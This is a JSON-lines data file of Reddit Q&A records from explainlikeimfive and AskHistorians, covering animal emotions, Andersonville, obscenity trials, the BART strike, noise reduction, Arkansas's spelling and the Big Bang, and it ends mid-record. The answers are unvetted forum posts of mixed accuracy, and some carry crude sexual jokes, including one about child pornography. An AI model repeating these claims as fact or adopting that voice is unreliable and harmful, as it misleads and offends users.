{"q_id": "3nj5gi", "title": "can an undomesticated dangerous animal e.g. a tarantula really love you as their owner?", "selftext": "by love i mean the kind of blind adoration a dog might have for its owner, or the aloof affection a cat might possess. i.e. the love you might expect from a pet", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3nj5gi/eli5_can_an_undomesticated_dangerous_animal_eg_a/", "answers": {"a_id": ["cvokmlr", "cvonwx0", "cvoov9n"], "score": [18, 4, 8], "text": ["That's a tough question.\n\nLook into emotion in animals.\n\nDogs have been proven to show empathy towards humans.\n\nDolphins, elephants, bonobos, chimps, and other species show what might be called subjectively \"love.\"\n\nEven honeybees have noticeable displays of emotions.\n\nIt's difficult to answer though because we perceive this adoration differently than they do. We don't love someone because they refill our food bowl, for example.\n\nThis all boils down to emotions though and, biochemically, most of these oddities, like spiders for example, don't have the structures required for emotions", "There's no way.  Spiders have primitive brains and don't perceive things the way people do.  Tarantulas walk on people like ants, they know they want to move but have no clue what everything is.", "Generally speaking, we should not anthropomorphize animals and their behaviours. However, its worth noting that animals do indeed feel emotions. But I don't agree when people state that animal minds don't work that way - they do. This is because the underlying mechanisms of emotion in humans and in other animals is essentially the same because they have evolved from common origins.\n\n[Affective neuroscience](_URL_2_) is a very interesting area of study which examines \"the study of the neural mechanisms of emotion. This interdisciplinary field combines neuroscience with the psychological study of personality, emotion, and mood.\" It also examines how our own neural mechanisms are mirrored in animals (and especially mammals) because of shared ancestry. The study of emotion is definitely a very active area of science that permeates many different fields - evolutionary biology, animal behaviour, human behaviour, animal communication, human communication, origin of communication, psychology, psychiatry, neurobiology...each look at different questions concerning emotions, and their origins.\n\nIn ELI5 words this means that animals are certainly capable of feeling emotions because the neural mechanisms that produce emotions are conserved through evolution, and are similar to the neural mechanisms that produce emotions in ourselves. All mammals, being related through common ancestry, have even more similar and conserved mechanisms - humans are of course mammals too!\n\nBut a few things to note:\n\n* The way animals express a particular emotion may differ from the way humans express that emotion. For example, humans often smile to exhibit happiness. But for the rest of the primate order smiling is either a signal of submissiveness or fear. This does not mean that other primates are incapable of feeling happiness, but that they very likely express it in different ways from ourselves. We also have to be very mindful that other animals, even cognitively complex ones, may be physically constrained and incapable of complex facial expressions. For example, we know dolphins are capable of a lot of complex cognitive tasks, they are able to identify themselves in the mirror and they may even have names for one another...but they don't have the facial musculature to make the expressions that are, well, as expressive as ours. Their emotions may not even be obvious for this reason, but that doesn't mean they don't exist.\n\n* Humans like to make emotions poetic, like love. But love is simply a kind of attachment emotion. Humans become attached to each other and objects, sometimes to the point of obsession. Animals also become attached to each other. Mothers and their infants, bonding pairs of adults, social groups...all of these are forms of attachment exhibited in the animal kingdom. Again if you were interested in studying love, as a scientist you would actually study attachment. I recommend the book *affective neuroscience: the foundations of human and animal emotions* (linked above). It can be rather technical, but it is very good read. In any case, if we want to objectively study emotion and their origins, we sort of need to take the \"humanity\" out of emotions and look at them in a more universal way.\n\n* Just because a species is undomesticated or dangerous does not make them incapable of feeling emotions. A better measurement would be to examine their physiology, specifically their nervous system and their hormonal system. Emotions are basically produced by these two things...so by studying these two systems in ourselves and in other species we gain a better understanding of the origins and complexities of emotions that humans and other animals exhibit. The more complex these two systems are the more likely the species can interpret or feel every increasing complex emotions. This is why we generally assume that mammals feel more emotions than reptiles, and reptiles more than invertebrates - but the line isn't hard. For example, crocodiles are surprisingly social, we know that other social species like some mammals and birds exhibit some of the most complex emotions recorded. Not to mention that crocodiles have a very well developed nervous and hormone system. Octopi have very well developed nervous systems and we know that they are able to solve complex problems and respond negatively to harmful noxious stimuli (e.g. they feel pain - so do fish by the way). So where does this put them on the scale? Probably somewhere above tarantula but below dolphins and primates. Other invertebrates, like insects and spiders have comparatively underdeveloped nervous and hormonal systems. For example, while they have nociceptors that feel pain they might not have the required brain complexity to interpret that pain on a psychological or emotional level. However, this wikipedia article on pain interpretation in invertebrates points out: [pain interpretation is very much complex even for their \"simple\" systems](_URL_3_) and that many invertebrate species do meet the required recommendations for being able to interpret *psychological* pain. I just want to emphasize that it is really hard to place animals in distinct little boxes, and its becoming increasingly difficult to support the statement that we are somehow different from them in this regard. Even complex emotions and cognitive functions like frustration, sense of self, sense of fairness, empathy, lying, and cheating have been demonstrated in the animal kingdom. \n\nAgain, I just want to reiterate that we should not project human emotions unto animals but that does not mean animals are not capable of feeling the same emotions as humans. We need evidence that animals feel a particular emotion, and we have gathered much evidence for many different species for many different emotions - from behavioural observational experiments to studying the biochemistry and physiology of these animals - we are beginning to understand more clearly the complexity of their lives from their perspectives.\n\nFor something a little more directed towards the layman, [the Moral Lives of Animals](_URL_1_) is a very good read, as is [Age of Empathy](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.amazon.com/The-Age-Empathy-Natures-Lessons/dp/0307407772", "http://www.amazon.ca/Moral-Lives-Animals-Dale-Peterson/dp/1608193462", "https://books.google.ca/books?id=qqcRGagyEuAC&amp;redir_esc=y", "https://en.wikipedia.org/wiki/Pain_in_invertebrates"]]}
{"q_id": "3a5rlq", "title": "Was Andersonville a death-camp?", "selftext": "I've heard the starvation and conditions there were not fully explained by problems with confederate logistics- were the prisoners starved intentionally? Was the goal of sending officers to Andersonville to have them die?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3a5rlq/was_andersonville_a_deathcamp/", "answers": {"a_id": ["cs9jwsk"], "score": [68], "text": ["Simply put, no, at least not in the sense of a death camp as usually used in connection with the Holocaust. Andersonville was horrific, certainly, but the *purpose* of the camp was not extermination, as it was in the 6 Nazi death camps (which were themselves a small portion of the thousands and thousands of Nazi concentration camps). There were lots of survivors of Andersonville, but comparatively fewer survivors from death camps. For example, a whopping 7 people survived Chelmno, out of at least 150,000 people sent there. At Treblinka II, where between 800,000 and 950,000 people were murdered, only about 70 people are known to have survived until the end of the war. Those are extermination camp numbers. Andersonville doesn't even come close by any stretch of the imagination (about a third of the prisoners who entered Andersonville died there). \n\nThe problem that arises in the popular mind is that many people are familiar with Auschwitz, which was the most famous death camp. What they don't realize is that Auschwitz was a series of camps, only Auschwitz II Birkenau was the death camp (killed about one million people in their gas chambers, more than any other camp). But there are numerous survivors from Auschwitz III Buna/Monowitz, including some of the most famous survivors, like Elie Wiesel. But Buna was NOT a death camp, it was a regular concentration/work camp. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "26xuuz", "title": "how a court would deal with potentially obscene material.", "selftext": "Let's say old farmer Ben is accused of creating and distributing animal pornography. Ben's defense is that the material is not pornographic or obscene in nature, but is actually a deeply subtextual film piece that critiques society's perverse relationship with livestock. To determine whether or not his artwork is considered obscene, would the court have to be subjected to all three and a half hours of the extended director's cut of Ben's BDSM Barn Banging II: Electric Bangaloo, would they be given a very detailed transcription of its content, or is there some other way they would use to determine the work's artistic merit, without directly presenting potentially obscene/traumatic material to the court? Old Ben says that to fully grasp the artistic meaning of his work, it must be viewed in its entirety. If the court doesn't wish to listen to disgruntled cows and screeching chickens for all three and a half hours and refuses to engage with the work in the way the artist intended, couldn't old Ben appeal? Also, is it different depending on which country Ben was caught in? If so, how do they differ?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/26xuuz/eli5_how_a_court_would_deal_with_potentially/", "answers": {"a_id": ["chviorw", "chvk0lv", "chvk8h2"], "score": [2, 2, 2], "text": ["Most likely the court would be shown excerpts of the film if anything.\n\nNot to mention, whether or not it is a subtextual piece of art that critiques anything is not up for debate.\n\nWhat is up to be judged, and Ben is on trial for is the abuse of animal livestock and the sexual relationships he may or may not have had.\n\nI could create an art piece depicting euthanasia, abortion and necrophilia all using real people who actually died, had abortions and whose bodies I then had sex with.\n\nAnd whether or not I was using those acts to make a statement is not relevant to the fact that I committed those acts.", "There was a high profile case in the UK recently about a rockstar who did \"things\" with kids and filmed it. He insisted he was innocent (despite there being video evidence) right up until the last minute when he eventually pleaded guilty. The judge in the case said that the jury had now been spared the trauma of watching the videos.\n\nSo in England and Wales at least, yes the jury would have to watch the video.", "Yes. Source: I was on the jury for an incest case. Had to look at pictures I wish I'd never seen. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1hp6s3", "title": "the bart strike.", "selftext": "Edit: Can someone go into detail about how much they're making currently, how much they gave up during the recession, how much they want, what's going on as far as safety, etc.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1hp6s3/eli5_the_bart_strike/", "answers": {"a_id": ["cawhl0g", "cawkaw9", "cawknzl", "cawkvpj", "cawoh3y", "cawossx"], "score": [23, 6, 15, 2, 10, 2], "text": ["BART workers think they deserve more money. The management does not think this, and in the view of the workers is refusing to negotiate. Thus, they are striking.", "BART workers made concessions during the recession, and now that the recession is over in the Bay Area, they want the pendulum to swing the other way, and get paid for their sacrifice.", "The BART workers are unionized. By forming together as a union they have more strength asking the BART management for things they want, (most typically higher wages and better benefit packages.)\n\nAt these meetings to discuss a new contract that covers wages, working conditions, and many other items relating to their jobs - the management and union of workers were so far apart in what they could agree on, that the union decided to strike. \n\nA strike is a power play by the union. They are showing the management that they have power to stop business entirely, which stops income, and therefore the well-being of the business. A strike is one of the few tools a union has to apply pressure towards management.\n\nThe BART workers have now agreed to come back to work, all while these meetings to discuss a new contract continue. This is a showing of good faith by the union that they dont want to completely disrupt the economics of the business (and in this case the entire Bay Area.) The union has already achieved what they wanted, and now further threats of strike must be taken seriously by the management.\n", "There are a few things BART employees want, at the center of this debate is safety at the workplace, wages/raises  &  pension plans. The unions representing BART reluctantly \"worked with\" the upper management to help get through the recession and now they are trying to re-align their compensation to make up for what they lost.", "For those saying \"whut!!?\": [**B**ay **A**rea **R**apid **T**ransit](_URL_0_), the rail transport system in the Greater San Francisco Bay Area of the United States.", "Not sure if anyone brought this up, but BART was designed to run \"headless\", meaning it does not really need employees manning the trains themselves. If BART was willing to, they could easily fire 1/4 of their workforce, keeping only the repairmen and security. The trains could technically run themselves."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.bart.gov"], []]}
{"q_id": "4icobv", "title": "how does audio noise reduction software work?", "selftext": "You can eli10 here, if you happen to know the intricate details - I'm fairly tech savvy.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4icobv/eli5_how_does_audio_noise_reduction_software_work/", "answers": {"a_id": ["d2x0qqt"], "score": [6], "text": ["OK, I'm going to go WAY into too much detail -EILCollege - but I'm going to ELI10 some of those concepts, and hopefully we'll see how we can get even better than just \"cut out the white noise\". Be prepared for a wall of text.\n\nAs a disclaimer, I'm more familiar with some of these concepts from image processing, so I'm doing some mapping onto the audio processing domain, but I know there are some parallels. If an audio algorithm expert wanders in, I'm happy to be corrected. Finally, I'm going to only use words, but I assure you that each of the concepts here are expressible mathematically. OK, here we go:\n\nELICollege:\n\nOne field of noise reduction that I'm familiar with in signal processing (and that's basically what we're talking about here) is not too dissimilar to [this](_URL_0_) paper. What the author is talking about doing there is modeling the signal as autoregressive and noise in the environment as a combination of multiple gaussians. The process to filter this for the signal is to use a [Markov chain Monte Carlo](_URL_1_) analysis to try to regain the signal. OK, stay with me here... let's ELI10 some of this.\n\nELI10:\n\nA Monte Carlo simulation is a simulation where you run many thousands or millions of simulations rather than trying to mathematically calculate a result. Think about flipping a coin. We can say the probability of heads to tails is 1 in 2 options, or 50%. This is just calculating the probability. We could also flip a coin 100 times, and see that we get 51 heads and 49 tails, which approximates the actual probability. This is the Monte Carlo approach. It was developed during the Manhattan project, when computers and computational power was getting better than the ability of theoretical physicists to calculate the (inherently quantum and statistical) state inside of an exploding atomic bomb. Rather than trying to fill every chalkboard in the US with every possible state of the bomb, they just ran hundreds of simulations where they set specific states: enrichment percentage, core geometry, heat generation, nuclear chain reactions, and simulated things to see where they went.\n\nNow, as complicated as that is, I hope I can convince you of something: that the states that are being set in a nuclear explosion, or a coin toss, are mostly _statistically independent_. That is, if you alter the core geometry, you don't modify the enrichment percentage of the uranium. This is how things are in \"normal\" monte carlo simulations. If, however, your variables are not independent, you have to do something else. Think, for instance, about a bell curve: this is a curve that is not based on an independent set of variables, but rather the distribution of samples of a single variable around a mean. This is, say, the distribution of average height of waves across Earth. Clearly, a single variable is not independent from itself: high waves are near high waves, and places that have high waves tend to have high waves. So, I hope I can further convince you that dependent variables can be modeled to produce _some_ distribution that is based on how they enhance or detract from each others' contribution in a particular environment. For instance, a single variable measured over multiple test cases (or places on Earth) tends to form a bell curve. Two dependent variables will make a different curve.\n\nSo, rather than a set of independent inputs, we can model the input to our Monte Carlo simulation as being a _distribution_ that represents the combined inputs of multiple dependent variables. I'm really hoping you're following here, because this is the most hand-wavy part: that multiple inputs can produce a statistical state of outputs. I guess, if I'd spitball this into audio terms, I'd say that the combination of volumes of \"correct signal\" frequencies produce a particular frequency distribution for sound - you're looking for what the equalizer of a high-fidelity mixing board would show in a perfectly silent room when you say the vowel \"o\", for instance. The \"o\" frequency distribution is the pure signal of all of the frequencies in the room. The added noise in the environment that we're trying to kill shows up as distracting spikes and wiggles in this equalizer, but there is a frequency that we're trying to get to by tweaking all of the equalizer volume knobs to regain the pure \"o\" signal. (I hope you're still with me - we're almost done).\n\nOK, so how do we know how to tweak the volume knobs to perfectly kill the noise and get the signal back? That's where the Markov chain comes in. A [Markov chain](_URL_2_), if you try to understand it even from reading Wikipedia, seems really complicated, but it's not: If I'm saying the \"o\" vowel at T=100, then there is a _high probability_ that I'm going to be saying the \"o\" vowel, or something very, very like it, at T=101. There's a \"momentum\" to speech that means that we can use what we know about what just happened to predict what's going to happen next. Specifically, a Markov chain is modeled such that the state at T=1 depends only on the state of what's true at T=0.\n\nHere, we close the gap: what is the waveform we're looking for to model with our simulation? We're looking for the one that seems to fit the audio signal such that what's happening in the current state is allowed to drift away, but not vastly away, from the last state. By \"drift away\", we mean modeling the change in the distribution with... a Monte Carlo simulation! We allow ourselves to step away from the signal of the last frame a bit until we model the current signal in a way that seems consistent. We're looking for a signal that tends to be one that \"carries through\" the noise, where the noise can be modeled as a bunch of rapid fluctuations in the audio around the frequency spectrum, but the signal tends to be the one fairly constant (relative to what we were just listening to) aspect that varies gradually (on a relative scale - say, a tenth of a second) over time relative to the noise.\n\nThis is why noise cancelling algorithms, at least ones that take this model, do well at modeling a crowded room, but not, say, two people talking next to each other: the crowded room \"sounds like\" a lot of random noises at random times, but the two people sound like two signals that have integrity over time. The same feature of signal-to-noise is true of your voice in a car: the car sounds like \"chkchhkh\" (static) but you sound like \"Ooooooookkkkkaaayyyyyy Ggghhooooooooggggllllleeee\" (a consistent, frame-to-frame signal)\n\nWhew. I'm sure I lost most people - this is ELI5, after all, so I'll give a summary:\n\nELI5:\n\ntl;dr: math tells us that a voice should be the signal that \"sounds relatively consistent from moment to moment, but is allowed to change over time\" and the noise is the stuff in the background that wanders all over the place in a noisy, random way."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://ieeexplore.ieee.org/xpl/login.jsp?tp=&amp;arnumber=543198&amp;url=http%3A%2F%2Fieeexplore.ieee.org%2Fxpls%2Fabs_all.jsp%3Farnumber%3D543198", "https://en.wikipedia.org/wiki/Markov_chain_Monte_Carlo", "https://en.wikipedia.org/wiki/Markov_chain"]]}
{"q_id": "48phyo", "title": "if you tattooed a baby the entire length of its arm, would the tattoo stay the length of the arm by the time the baby is a fully grown adult?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/48phyo/eli5_if_you_tattooed_a_baby_the_entire_length_of/", "answers": {"a_id": ["d0lhbeg"], "score": [57], "text": ["Yes, the tattoo would expand (and would appear to fade as individual ink particles get further apart). Same things happens when you have a tat and get fat."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6f1h8t", "title": "The state of Arkansas was apparently originally known as the Territory of Arkansaw [sic]. Why would they have changed the spelling from Arkansaw to Arkansas despite the latter not resembling the name's pronunciation?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6f1h8t/the_state_of_arkansas_was_apparently_originally/", "answers": {"a_id": ["difcjw1"], "score": [1068], "text": ["George R. Stewart has a whole chapter on this general topic in *Names on the Land*. He says that Arkansas is the only state name \u201cabout which pronunciation and spelling ever rose to be a major issue\u201d. Arkansas/Arkansaw, originally referring to the river, was part of the Louisiana Purchase and, like many other place names in the region, Americans adopted the French pronunciation (or at least an approximation of it). And the name was often, but not always, spelled accordingly: Arkansaw.\n\nIn 1819 Congress passed a law creating a territory spelled, according to the Act of Congress, Territory of Arkansaw. In the very same year a New Yorker named William Woodruff moved to the new capital of Arkansaw Territory. Woodruff felt very strongly about language and spelling. He even attacked Noah Webster for including the word \u201clengthy\u201d in his dictionary, for clearly not being a real word. Woodruff was also a printer by trade and set up a newspaper in the new Arkansaw Territory. In the first issue he printed the Act of Congress that had created Arkansaw Territory. In this Act the word \u201cArkansaw\u201d occurred eight times. Woodruff felt very strongly it ought to be Arkansas, which was still a common alternate spelling. In his newspaper\u2019s printing of the Act of Congress he changed all eight mentions of Arkansaw to Arkansas.\n\nThe population of the territory was only about 10,000, and very many could not read. And most had little to no preference over the spelling of the territorial name. In any case, Woodruff\u2019s newspaper had a huge influence on this particular issue. As Stewart puts it, \u201cApparently even Congress forgot about [their] original spelling, and later bills used Arkansas\u201d. Reprintings of the Act of Congress quickly started spelling it Arkansas, even official, federal printings. In short, official documents \u201csimply changed the spelling without comment, as if a mere clerical error were being corrected\u201d.\n\nAs the years passed the people of Arkansaw Territory more and more spelled it Arkansas, yet continued to pronounce it Arkansaw. In other parts of the US there was the feeling that the spelling and pronunciation should match. And as the spelling Arkansas became common some people began to pronounce it \u201cArk\u00e1nsas\u201d, like the state Kansas, with ar- prepended\u2014although the place names Arkansas and Kansas have different etymologies and the close resemblance is coincidence [ed: or not, see below]. As more time passed even some of the people of the territory began to say Ark\u00e1nsas. Still, both spellings and pronunciations were fairly common.\n\nIn 1836 the territory was made a state, spelled Arkansas. Yet there was still a question about pronunciation. In the 1840s the two senators from Arkansas disagreed with each other about it. In Congress this resulted in one being called \u201cthe senator from Arkansaw\u201d and the other as \u201cthe senator from Ark\u00e1nsas\u201d.\n\nBy 1850 the issue was not solved at all, neither pronunciation or spelling. Some gazetteers spelled the state Arkansas, some Arkansaw. Some offered both, and both pronunciations too. Sometimes the state was spelled Arkansas and the river was spelled Arkansaw. As the state of Kansas became developed and well known, it helped solidify the spelling Arkansas over Arkansaw, and for many people made the pronunciation Ark\u00e1nsas common\u2014with an accent on the second syllable. Still, the people of Arkansas still overwhelmingly pronounced it Arkansaw.\n\nAfter the Civil War many people immigrated to Arkansas and brought their pronunciation Ark\u00e1nsas with them. This pronunciation became common in Little Rock. Stewart says, \u201cBy 1880 anyone might have decided that Arkansaw was a dying and backwoodsy manner of speech\u201d. However, the natives of Arkansas would not so easily change their ways, and before long the issue became important. The pronunciation, and even spelling \u201cArkansas\u201d became to be condemned by natives of the state as \u201cYankee persecution\u201d. Increasingly there were calls for rejecting Ark\u00e1nsas.\n\nIn 1880 the legislature of Arkansas took up the issue and formed a committee to resolve things. The committee, being mostly made up of native Arkansans, was not unbiased and from the start worked for \u201cArkansaw\u201d. They supported this in many ways, drawing from history, tradition, etc (though undoubtedly cherry-picking to some degree). They even cited the Yankee Longfellow, who had written \u201cI prefer the sound Arkansaw as being more musical than Arkansas\u201d. The committee\u2019s final report unanimously recommended the pronunciation Arkansaw. I\u2019m not sure if they said anything about the spelling, which by then was rather firmly established as Arkansas.\n\nIn 1881 the state legislature passed an official resolution declaring the pronunciation to be \u201cArkansaw\u201d, in accord with the local manner of speech. They also declared the pronunciation Ark\u00e1nsas \u201can innovation to be discouraged\u201d.\n\nFor most of the country, this settled it. The state was spelled Arkansas but pronounced Arkansaw. So be it. *Except*! There is also the Arkansas River, which flows through a great deal of Kansas. The people of Kansas tended to call the river the Ark\u00e1nsas River. And there was a town by the border called Ark\u00e1nsas City. After the state of Arkansas declared the pronunciation Arkansaw, and the rest of the country said \u201cokay\u201d, dictionaries soon began to say the river was also pronounced Arkansaw, as was Arkansas City, in Kansas. Some people of Arkansas tried, mostly half-heartedly, to convince the people of Kansas to pronounce the river and Arkansas City \u201carkansaw\u201d. But since they had called upon local usage tradition in their own support of \u201carkansaw\u201d they could not easily say that the people of Kansas had to abandon *their* local pronunciation traditions.\n\nArkansas City, Kansas, is still pronounced Ark\u00e1nsas. And in much of Kansas the Arkansas River is likewise pronounced Ark\u00e1nsas. The same goes for Arkansas Street, in Wichita, Kansas.\n\nBut to answer the question directly and tersely, the spelling of Arkansaw Territory was changed to Arkansas mainly due to the efforts of William Woodruff, who started the first newspaper in Arkansaw Territory but always published the name \u201cArkansas\u201d. Congress didn't seem to care, or even realize, possibly, that they had named it Arkansaw but soon began spelling it Arkansas. As for why the spelling and pronunciation don\u2019t match, it is because both come via the earlier French place names\u2014the same reason the same is true for Illinois.\n\n*Names on the Land*, George R. Stewart.\n\nedit PS: Stewart might be wrong about the etymology of Arkansas and Kansas being unrelated. William Bright, in *Native American Placenames of the United States* says they *do* derive from the same Siouan root, but there is some additional complexity I don't have time to get into at the moment. One bit though is that Arkansas comes from a French interpretation of an Algonquian language term, which involves a Siouan term within it.\n\n(edit: tpyos, words)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "odvhl", "title": "before the big bang?", "selftext": "As an Atheist, this is something that I am always asked when I debate theists.  I never have an answer for it, I'm not even sure one exists.\n\nWhat happened BEFORE the big bang, what caused it?  Are there any speculations?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/odvhl/before_the_big_bang/", "answers": {"a_id": ["c3gg2xg", "c3gg2xo", "c3gg8ui", "c3ggf0b", "c3ggjmq", "c3ggjq2", "c3ggr84", "c3ggrxt", "c3ggsdc", "c3ggww7", "c3gh0dc", "c3gh0n2", "c3gh22m", "c3gh3on", "c3gh8zu", "c3ghjoz", "c3ghni6", "c3ghq77", "c3ghqdm", "c3gi7qb", "c3gipid", "c3gj3xc", "c3gj4c1", "c3gj9wr", "c3gjfrq", "c3gjlyf", "c3gjp5x", "c3gjtde", "c3gjujv", "c3gjuk1", "c3gk7h4", "c3gk90k", "c3gkhst", "c3gljeq", "c3glk64", "c3gm87g", "c3gmg8d", "c3gniun", "c3go9u1", "c3golji"], "score": [302, 117, 7, 181, 4, 9, 3, 292, 3, 5, 29, 7, 2, 16, 2, 2, 11, 2, 2, 2, 2, 3, 2, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2], "text": ["I don't think there are any theories with any real weight, we just don't really have any information about how to describe a pre-big-bang state. It's possibly impossible to find out. That doesn't mean we can't create consistent theories, but it makes them impossible to verify.\n\nOf course, from the theist debate perspective, slotting God in there doesn't solve any of these problems and gains you nothing from an explanation perspective. It's just another consistent but unprovable theory. It is strangely difficult to convince people that 'we don't know' is a better answer than 'we didn't know until we made up an explanation and assumed it was true'.", " > As an Atheist, this is something that I am always asked when I debate theists.\n\nJust ask them right back, \"What was it like before God?\"\n\nThe easiest way to think about your question is to use another question as analogy: \"What were you like before you were conceived?\" Both questions are meaningless. There was no \"before\" the big bang, just as there was no \"you\" before conception. Time itself did not exist before the big bang. There was nothing. Not \"space\" nothing - literally, and truthfully nothing. \n\nAs to what caused it, we may never know. There are some ideas floating about you can read about if you want - Hawking's hypothesis about membranes is probably the most popular - but the very nature of the thing precludes any sort of actual knowledge. Frankly, using those ideas in a religious debate is not a road you want to go down - in a safe, scientific setting with rational people it would be fine, but dedicated apologists are simply going to twist the ideas around and use them as perverted \"proof\" that you have just as much faith as them. It's a common tactic.\n\nI would recommend simply answering that \"we don't know.\" \n", "[Try reading this](_URL_1_), or the [many threads about the issue](_URL_0_).", "Well... there was Friends... ", "So theists can't believe in the big bang? Yay Jewishness.", "Simplified:\n\nTime = stuff happening. At the beginning of the universe, much happened, but how exactly those processes began is unknown and might even be forever unknowable.\n\nBut at some point, when going backwards to the beginning, stuff stops happening. Time stops. Space stops. And then... - no one knows. Those who claim most probably are just lying. Or what it's called when people believe to say the truth, but are in fact spouting untruth.\n\nThe beginning of the universe is a great place to add ideas into a void of knowledge that's even reality-related, and also touching on all things at once, which is why people love to do it. But fact must be told from fiction. \"I don't know\" is a true statement. \"I guess that\" is still a true statement. \"I know that God did it because my holy book says so\" is a bunch of dog feces and should be illegal.", "No one knows for sure and most theories of what happened or existed before the big bang are purely theories, as we don't quite understand enough about physics to understand how something outside / before our universe would behave.\n\nNonetheless, some of those theories suggest that our universe was just one of an infinite amount of space-time bubbles that have been born within a multi-verse. How / why this bubble formed is unknown due to our lack of knowledge on physics again. Perhaps tachyons, a fictional, infinite-energy particle is / has created bubbles as we speak (outside our universe, time may very well have little meaning; as but a minor dimension). It may be case of where the multi-verse is always in a high-energy state and is constantly creating and filling universes with energy / matter (our universe doesn't have any more matter / energy because again, time may be meaningless - our dimension / version of *this* universe may be but a snippet of a universe that is / will / has been filled with an infinite amount of energy.\n\ntl;dr version - we have plenty of wild theories, but we have no idea what the truth is because we still don't know quite enough about physics.", "I think the current thinking is that there was no \"before the big bang.\" The event created space and time. There simply was no before (just like there is no \"outside the universe\") A way I have heard this described (by Hawking) is try to imagine what is 2 miles north of the north pole. It's a meaningless question, there is no north of the north pole. If you live in Boston, you can go north, north, north, until you reach Santa's workshop but then you cannot go any more north. If you back in time, you can go and go and go until you reach the moment of creation, the event of the big bang.", "It's hard to speak of \"before\" and \"after\" this event, because time itself only existed after. :(\n\nEdit: Unless time is in fact separate from spacetime, but research seems to indicate that they interact and are connected dimensions. It seems unlikely that time can exist if space doesn't. However, I just recalled now that the concept of [imaginary time](_URL_0_) is sometimes used to avoid this \"problem\" of singularities (such as the Big Bang) messing with the time dimension.", "FYI, the big bang was initially theorized and developed by the [Catholic Church](_URL_0_).\n\nThe idea of a diety and explosive randomness are not mutually exclusive.", "[Just say this.](_URL_0_)", "One popular theory is that before the big bang there was another universe, which collapsed causing another big bang:\n\nfrom wikipedia:\n\"Some theorize that the universe could collapse to the state where it began and then initiate another Big Bang, so in this way the universe would last forever, but would pass through phases of expansion (Big Bang) and contraction (Big Crunch)\"", "Short answer is we dont know. As in \"we\" humans. Probably never going to find out.\n\n\nSome of the theories are interesting though. Personally I find the one to make most sense to me is the theory that the universe is collapsing in on itself to a point and when all matter reaches one point a new big bang starts and a new universe is conceived. So ultimately before our big bang, was some other decaying universe. As to where the matter came from, fuck knows.", "Watch [this video](_URL_0_), A Universe from Nothing by Lawrence Krauss.\n\nHe explains how the Universe has a net energy of 0 because it's a flat Universe, and that simple quantum flunctuations can create new Universes, simply because they can.", "This is the reason I am agnostic, not an atheist.", "[This](_URL_0_) Horizon episode presents some interesting ideas. My favorite is that the beginning of our universe was the collapse of a previous one.", "[Mr Asimov spins a good yarn](_URL_0_)", "The way I understood it was that there was no *time* before the big bang. Human minds just simply cannot grasp this concept. \n\n(We also tend to put human views on to the Universe ie: \"I had a beginning, the Universe had to have a beginning!\" No it doesn't, the Universe isn't a person it has no need for a beginning!)\n\nSo there wasn't a 'before the Big Bang' because there hadn't been time! It's also a concept of linear time, maybe only humans perceive time in a 'straight line'\n\nI may be seriously wrong here, just to throw that out, but this is what I thought. We get to this point where our language can't explain these theories and we have to rely on math.\n\nThere's a thing called infinite regression, basically the proof of something will go back forever. \n\n\"How did the universe start? The Big Bang! How did the Big Bang start? We don't know.\" Young children are very good at demonstrating this. What I'm getting at is I think at one point things happen \"just because\" There is no deeper justification. (Or it could be code all the way down forever and we'll never get to the 'root' of reality)\n\nSo even if we answered what was before the Big Bang I think Theists, etc would just ask what was before that? At a certain point it's just because/we don't know/we can't know! Theists do this as well. Ask them where God came from next time. \"He just is\" tends to be the answer. Well it's the same for the Universe.\n\nedit: Okay I realise the question was 'waht is before the Big Bang' and not about the origin of the Universe but what I was getting at is it is basically impossible to describe/imagine/grok what was before the Big Bang. It was Nothing. ", "I have a theory that involves both the big crunch and the expansion theory in which over an infinite amount of time our universe that expanded from the big bang will reform into the microscopic ball of all the universe's material once again because of the simple laws of gravity that the universe abides to. You can think of the universe in the similar way as planet formation, just on a galactic scale. Particles travel around for millions of years and eventually clump up, well our universe is doing the same thing while expanding outward. Eventually, the universe will curve into itself and reform the big bang with a completely new set of random galaxies. That's what I have found most logical anyways.", "Before the big bang is kind of something outside the realm of human understanding because it's speculated that time itself begun with the big bang. Because time itself began at the big bang there technically is no before.\n\n(If anyone is more knowledgeable than I feel free to correct me)", "In there beginning there was nothing\nnot even time--\nno planets, no stars, no hip-hop, no rhyme.\nBut then there was a bang like the sound of my GAT:\nthe universe began and the shit was phat\n\nThe universe began as a singularity.\nNobody knows what went on then, G.\nFor ten million trillion trillion trillionths of a second,\nthe state of the universe cannot be reckoned.\n\nThe fundamental forces were unified--\nwe've no theory to describe that,\nthough I've tried. Then the forces\nsplit and the universe was born--\nit was hotter then a priest watching\nkiddie porn.\n\n[M.C. Hawking](_URL_0_)", "Save yourself some time and don't debate things that can never be proven on way or the other.", "I'll tell you what happened but don't tell anybody else.  \n\nThere was another universe before the big bang that collapsed upon itself.  This universe will one day do the same thing.  It's the ultimate reset button.\n\nThe matter and energy in the universe has always existed.  It just likes to fuck with us.", " > Are there any speculations?\n\nThere are nothing *but* speculations.", "I find the Kalam argument to be really interesting:\n\n1.   Everything that has a beginning has a cause.\n2.  The Universe has a beginning.\n3.  Therefore the Universe has a cause. \n\nI am currently unsure of where I sit in the never ending debate between creationists and followers of pretty much any other theory... I can say that they all have some merits.", "The answers are likely 